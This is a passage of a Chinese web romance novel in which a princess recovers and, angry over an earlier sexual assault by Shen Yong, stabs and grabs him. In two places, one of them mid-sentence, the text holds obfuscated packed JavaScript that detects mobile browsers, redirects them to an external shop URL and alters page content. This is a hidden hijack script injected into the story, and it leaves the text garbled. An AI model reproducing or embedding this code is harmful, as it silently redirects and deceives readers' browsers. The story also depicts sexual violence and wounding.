“尽快!” “好好好,”他真是服了这个人了,“快走吧,别打扰我了。” 神情不见放松,沈雍却终是回去了。 真是孽缘。 范卢风叹了口气,集中注意力处理药材,没有花太多时间便将冰魄草以及其他需要的材料处理完毕。 独自守着小炉熬制药汁时,他竟没忍住时时回头朝榻上望去。 然而,那里空空如也,被他救下的年轻女刺客在沈雍醒来后已被重新拉去审讯了,是死是活也不知道。 唉,老想她干嘛? 又冷又硬,像块臭石头一样,天下哪有她那样的女子,得是柳夫人那样的女人才足以让男人见了后念念不忘,她那样的,啧...... 范卢风甩了甩脑袋,试图将那张干净英气的面庞甩出脑海,却在逐渐溢满小帐的足以清气明神的清凉之气中想起了她腕间的红梅印记。 她身上的毒与沈雍的很像,但却是慢性的,只需要定期服用解药便能缓解症状。 他能看出,已经到了她该服用解药的时候了。 虽然他对着她这块石头总是毫无办法、气急败坏,但还是将给沈雍配制解药时多出的药量喂给了她,希望能缓解一些她的痛苦吧。 没别的意思,只是不想让她死太快,沈雍还打算从她口中多套些消息呢。 范卢风带着熬制好的药汁步入沈雍的主帐时,银画仍守在一旁。 “范医师!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724621|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银画见了他十分欣喜,“您可是来为公主诊脉的?稍等我去帮她整理一下。” “不急,也不必再诊脉,”范卢风抬手制止了她,“你去将此药喂她服下便是。” “好!” 银画小心翼翼接过,入手是一小瓶药液,隐约能闻到一股直冲大脑的凉意。 她朝范卢风深深行一礼,“多谢范医师。” 范卢风失笑,虚扶她一下,“不必多礼,等她醒了再来叫我诊脉。” “是!” 银画这两日急得嘴唇都生疮了,范卢风见状又说:“余下的药液抹你嘴上的疮也是有用的。” 不等她再道谢,范卢风已掀帘而出。 - 柳忆春醒来时,发现自己虚得慌,浑身也光溜溜、黏糊糊的,非常难受。 想起昏迷前发生的事,她心里一阵无语。 不是吧?不就做了个爱,怎么就晕了?虽然那个狗东西的确折腾得很狠,但她不带这么弱的吧? 撑着身子坐起来,她才发现这里不是她们的营帐,入目宽敞明亮,倒像是沈雍的。 帐内大亮,想来外面日头正盛。 “公主?” 轻纱被掀开,探入银画的脑袋,表情高兴得像是中了五百万,惹得柳忆春一阵狐疑。 “我怎么了?”嗓音嘶哑到不行。 “您终于醒了!我去叫范医师来。” 也许是银画的动静太大,立马便惊动了相邻帐子里的沈雍。他心中挂念着柳忆春,说是休息,但其实根本睡不着。 步入主帐,只见榻上的人呆呆地坐着,神情也有些懵懂。 难不成真把脑子烧坏了? 想到距离她昏睡过去已经过了差不多两天一夜,沈雍不由得有些急。 然而,不待他走近,她发现他后立马怒目而视,紧接着就是一个枕头朝他飞来。 好吧,看来并未伤到脑子。 不待他开口,又飞来一个。 沈雍长舒一口气,也不躲,就这么挨了她两下,走近时,还不忘把随手接的两个枕头还给她。 “滚!” 果然对他没有好脸色,沈雍也不恼,倒了杯水喂到她嘴边,她也不扭捏,劈手接过一口灌了下去。 见她喝完,沈雍又将她的衣物递给她,“先把衣服穿上吧。” 柳忆春怒气冲冲地穿衣,仍旧不忘赶他走。 “狗东西,滚出去!” 润了嗓子后,骂人的声音都更清亮了。 沈雍对她的骂声充耳不闻,见她只顾着生气连衣裳都穿岔了,没忍住上手帮她。 柳忆春气急,照着他的脸又是一巴掌。 但出乎意料的是,他半点没躲,就这么硬生生受了下来,末了仍不忘帮她整理衣服,嘴里还念念有词。 “不烫,应当没有大碍了。” 柳忆春觉得他很不对劲,这人不像是会眼睁睁瞧着自己被打的性格。 “你脑子坏了?” 沈雍闻言却轻笑,并不在意她对自己的恶语相向,反而试探地、珍之重之地将她揽入怀中,再出口时,含了万分歉意。 “对不起,柳昭昭。” 34. 反击 被他身上的气味环绕,柳忆春下意识就要推开,可这个怀抱看似温柔,实则强势,虽不会让她不适,却也让她无法轻易挣开。 他满含歉意的轻语也再次从头顶飘落。 “对不起。” 柳忆春对这种事后道歉的行为实在嗤之以鼻,没忍住嘴角微抽。 “早干嘛去了?松开!” 她的不耐与抗拒如此明显,沈雍的大掌在她肩头轻握又松开,终是依着她退到了一边,深邃双目却始终注视着她,如丝线一般绵密地缠绕在她身侧。 “到了到了!” 银画急切的催促伴随着匆忙的脚步声一同传入帐内,范卢风已被她请来。 主帐里的气氛不可谓不僵硬,范卢风快步走近,在看清沈雍脸上新的巴掌印后,心里泛起一阵嘲笑。 活该! 然而下一刻,一道凉飕飕的视线让他猛地回神。 嘶,差点忘了这事也有他的一份! 于是范卢风连忙堆起笑,硬着头皮迎上柳忆春淡淡的眼神,“柳夫人安,容在下为您诊脉。” 柳忆春并无动作,只是偏头问向沈雍:“没有别的正经军医了吗?” 她昏睡了一天两夜,气息不支,整个人都软绵绵的,明明是柔和的声线,范卢风却无端感到一丝冷意。 他的笑僵在脸上,求助地看向沈雍。 难得见范卢风吃瘪,沈雍看向他的视线夹杂了些同情,并不打算为他解围。 范卢风自是收到了好友眼里的嘲笑,只叹是风水轮流转,继续向柳忆春赔笑脸。 “还请柳夫人恕罪,此事确是在下的不对,权当是我欠您一个人情,往后若需在下相助,自当万死不辞。” “只是眼下这军中除了在下,别的医者都对您的身体状况不甚了解,为免麻烦,还是让在下为您再诊诊脉吧。” 一席话说得滴水不漏,柳忆春勉为其难重新向他投去打量的目光。 也行吧。 她可会把他的许诺记得牢牢的。 柳忆春伸出手腕。 范卢风猛松一口气,瞥向沈雍的余光中含了些幽怨。 人家柳夫人先前是个多好说话的人啊,都怪沈怀聿,把乖巧的女郎逼成了这幅模样。 沈雍没有理会他的控诉,眼里全是催促。 这才哪到哪,范卢风还是见识得太少了。 柳昭昭这人啊,和乖巧二字完全不沾边。 一场眉眼官司结束,众人静待范卢风的诊脉结果。 不想让柳忆春知晓其中的过多细节,他说得很含糊。 “没什么大碍,这几日多多休息,”说着,他指了指床头的药瓶,“再每日吃一粒清心败火丸便可。” 沈雍紧皱的眉头忽地放松,柳忆春的小脸却越来越皱。 “就这?”她很疑惑,“不需要再来点强身健体的补药吗?毕竟我......” 说着,她唇瓣微抿,余下的话着实是不好说出口。 她看看沈雍,又看看银画,“要不你们先回避一下?” 范卢风警铃大作,连忙向沈雍递眼色,可沈雍却是依了柳忆春的话。 “好,有什么想问的尽管问他。” ...... 没过多久,范卢风苦着张脸从帐中走出,沈雍不出所料一直守在门口。 “完了,全都被她知道了......以后我这张老脸往哪放啊?” “还有你,平白让她遭此无妄之灾,一时半会儿恐怕也得不到她什么好脸色了。” 沈雍倒是无所谓地笑了笑,“无事,此事她本就无辜,想知道原委,告诉她也无妨。至于好脸色,她可从来没有给过我。” 说罢,沈雍就要进帐,却感到袖口一阵微弱的阻力。 回头一看,竟又是范卢风。 他一脸苦涩,像是还憋着坏消息没说。 可还不待沈雍发问,范卢风又松开手风一般地溜走了。 “我先去忙了!” 倒像是此地无银三百两。 沈雍在原地站定,狐疑地看着他的背影,将近来发生的事情在心里都过了一遍,确定没什么别的事得罪了柳忆春,才掀帘进帐。 不料,映入眼帘的一幕直让他头皮发麻—— 她不知何时从兵器架取下了他的长剑,正懒懒坐在案前,纤指轻抚,清眸流转,细细观摩怀中长剑。 尤其是圆润的剑柄部分。 “!” 好他个范卢风,和她透露了这么重要的事,居然半句都不和他说? 听见动静,她掀起眼帘瞧来,神色冷淡。 素手紧紧一握,长剑立时出鞘三寸。 “你可真是好手段。” 沈雍面色一紧,双颊微微泛起可疑的红,快步走近,劈手就要夺回他的剑。 “刀剑无眼,不要随意摆弄。” 不料铮地一声,利剑出鞘,直指向他。 他顿时立在原地,探出的手也缓缓收回。 阴影尽数落于他的身侧,低垂的眼睫洒下一片阴翳,叫人看不清脸上的神情。 柳忆春适时发出一声轻笑,“我那时一心想着去死,没空去细想身上发生的事。” “现在我是真好奇了,沈雍,公主到底和你有多大仇啊?”她握住剑柄的手指轻轻起伏,“居然让你一个大男人对她做这种事。” 明明被剑指着,可余光中她持剑的素白纤手疯狂挑动着他的神经,竟叫他迈不开半步躲避危险。 “......对不住,我那时不知你尚未出阁。”除了道歉,他早已无话可说。 不料,这句话此刻却直接将柳忆春引爆。 又是这句话!对不起,对不起,那些做了坏事的人都觉得随随便便道个歉就完了吗? 他们每次打完她后也爱说对不起,这人强迫了她转头又是对不起,一个个都是虚伪的臭虫!无耻的狗屎! 还有,“难道她嫁人了你就能那样对她吗?谁他妈受得了那样的虐待!” 什么封建古板糟粕男,伤得有多严重他眼眶里装的是死鱼眼自己看不见吗,还敢拿是不是处来说事,真就贞洁大于一切喽? 柳忆春怒不可遏,猛地施力将剑刺了出去。 沈雍瞳孔紧缩,堪堪侧身让剑刺偏了些,中剑处落在下腹部,顿时渗出汩汩鲜血。 她竟是直冲他要害来的! 被他躲开,柳忆春很不满意,从桌案前踉跄起身,拔出长剑照着他的那处再次刺去。 沈雍自是不可能眼睁睁看她把自己变成太监,几个闪身后,以腰侧再中一剑的代价夺过了她掌中的长剑。 哐当——染血长剑被扔向营帐深处。 接着便是令人窒息的安静。 失血让他的脸色有些苍白,唇角紧抿,沈雍闷闷开口,“当年你出面指证沈家谋反,最终沈家百余族人在流放路上几乎死伤殆尽,我还差点被......” “如果能重来,我依然会报复于你,但若是知道你只有婚约而尚未出嫁,我不会用那种方式......” 柳忆春大口喘气,如梦初醒般静静听着,末了,看一眼他迅速被血染红的衣袍,又望向他略显苍白的面庞。 “对不起。” 她的声音很轻,带着嘲讽的笑,听着没有半点诚意。 “需要我帮你缝吗?” 更明显地,是在讽刺他当初的行为。 沈雍自是明白她的意思,惊怒之余又涌起丝丝缕缕的心疼。 他深吸一口气,偏过头不看她,“不必,我自去处理便可。” 说着,他走向一旁的矮柜,蹲身掏出药箱。 还是不让范卢风知道比较好。 可不等他解开衣服为自己上药,便被一股大力猛地掀倒在地。 接着,身下蓦地一紧。 竟是被她猛然跨坐在身上握住。 他下意识制住她作乱的手腕,却被她施力握得更紧,惹得他呼吸骤乱。 “你干什么!”满脸的不可置信。 柳忆春感受着掌中之物,隔着衣物重重掐他。 “我还没消气。” 生气是应该的,可天底下哪个女子生气会做出这种惊世骇俗之事? 沈雍没忍住发出一声闷哼,又尽量稳住声线问她,“你待如何?” 柳忆春神色认真,说出的话再次让沈雍表情破裂。 “我要捅回来。” 空气有片刻凝滞,沈雍愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732316|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣地看着离他只有咫尺之遥的绝色脸庞,大脑简直无法消化她语中之义。 “你说,什么?” 柳忆春不耐地皱眉,听不懂人话吗? “我说,我要唔......”可还未说完就被沈雍猛地捂住嘴。 “不成!” 沈雍有些挫败地想,她想捅他泄愤,多少剑他都甘愿,可她方才偏偏一剑剑直指要害,他如何能束手就擒? 而且他了解她的性格,她说的“捅回来”,也不无可能是要和当初他对待她那般,用剑柄...... 他堂堂淮阳王,曾经的镇国公世子,又怎么可能像个娈童一般被人做那种事? 所以,无论如何都不成! 柳忆春更生气了,手掌握着用力往外拽,似是要将它从他身体上扯下来,完全不顾他的死活。 沈雍再受不住,握住她手腕的手稍稍上移,在她细掌两侧用力一握,柳忆春的手瞬间不受控地卸力,终于松开了对他脆弱之处的钳制。 她的双手被他反剪到腰后,似是知道自己的力气拗不过他,倒也没挣扎,就这么恨恨地瞧着他,嘴唇无知觉地瘪出一抹委屈的弧度。 剑拔弩张的氛围突然带上了些暴力的暧昧,沈雍呼吸急促,与她平稳的呼吸静静交缠。 呼吸间有血腥味。 他别开了些眼,再开口时语气满是不自在。 “要打要骂都随你,但是唯独这点绝对不行!” 柳忆春仍跨坐在他腿上,反剪的双手被他一掌制住,倒像是他长臂揽住她的腰让她靠近。的确有些近,近到她能感觉到他的轮廓。 而他稍显慌乱的喉结不住地滚动,微侧的泛红俊脸显出些欲拒还迎的味道来。 柳忆春的视线继续往上,见到了他紧抿的唇、高挺的鼻、紧蹙的眉、以及长直浓密睫毛下恼怒又无奈的眼。 他对她好像真的不一样了。 按照之前,他见了她痛苦应该开心才对,对于她的质问也该说出“你应得的”或是“早说过要你生不如死”这种言论。 而不会像这样,硬生生挨她两剑,搭理她的“生气”,问她想怎么样,还说出“打骂随她”这种话。 这人一夜之间良心发现了? 柳忆春盯着他起伏的胸膛出神,独属于他的好闻气味交织着血腥味丝丝缕缕地侵入她的肺腑,她渐渐冷静。 来这里之后,这人真是她发现的最好玩的人了。 此刻已是夏日的午间,气温不低,二人的身体紧贴着,不一会儿便渗出了一层薄汗。 沈雍也发现二人似乎近得有些过分了,一些不堪入目的画面又开始不听话地往外冒。 于是默默松开了对她手腕的钳制,准备把她从身上拎下去。 不料,怀中的人双手甫一被松开便揽上他的脖颈,紧接着是柔软的触感从唇上传来。 沈雍瞬间怔愣在原地,她脑子里究竟在想什么! 一触即分。 随即传来一声轻笑。 沈雍猛地朝她看去,只见她眼中满是愉悦,似是很满意他的反应,接着她轻启红唇,状似疑惑地问: “你就这么喜欢公主?睡一觉就不计较她和你的仇了?那你早干嘛去了?” 恼怒再无法克制,沈雍终于没忍住一把将她从身上掀了下去。 将他说得如此不堪,她为什么总是有本事一句话挑起他的怒火! 可见她跌倒在地,他又在心里后悔。下意识想去扶,却终是拉不下这个脸,于是沉着脸转身走了出去。 柳忆春见他这幅气得要死又不知如何辩解的模样,心情十分舒畅,怒气又消散了些,干脆在地上找了个舒服的姿势躺着。 逗弄他挺好玩的,虽然捅回去应该会更好玩——那样的话,他应该会碎掉吧? 可惜啊可惜...... 正感叹着,却见刚才怒气腾腾离开的人又回来了。 衣襟散乱,伤处仍渗着血。 他脸色别扭,也不看她,俯身将她从地上抱回床榻,冷冷丢下一句“地上凉,好好休息”后,捡起角落里的长剑彻底离开。 倒是给柳忆春看呆了,一个念头也随之在脑海里浮现—— “沈雍,你完了。”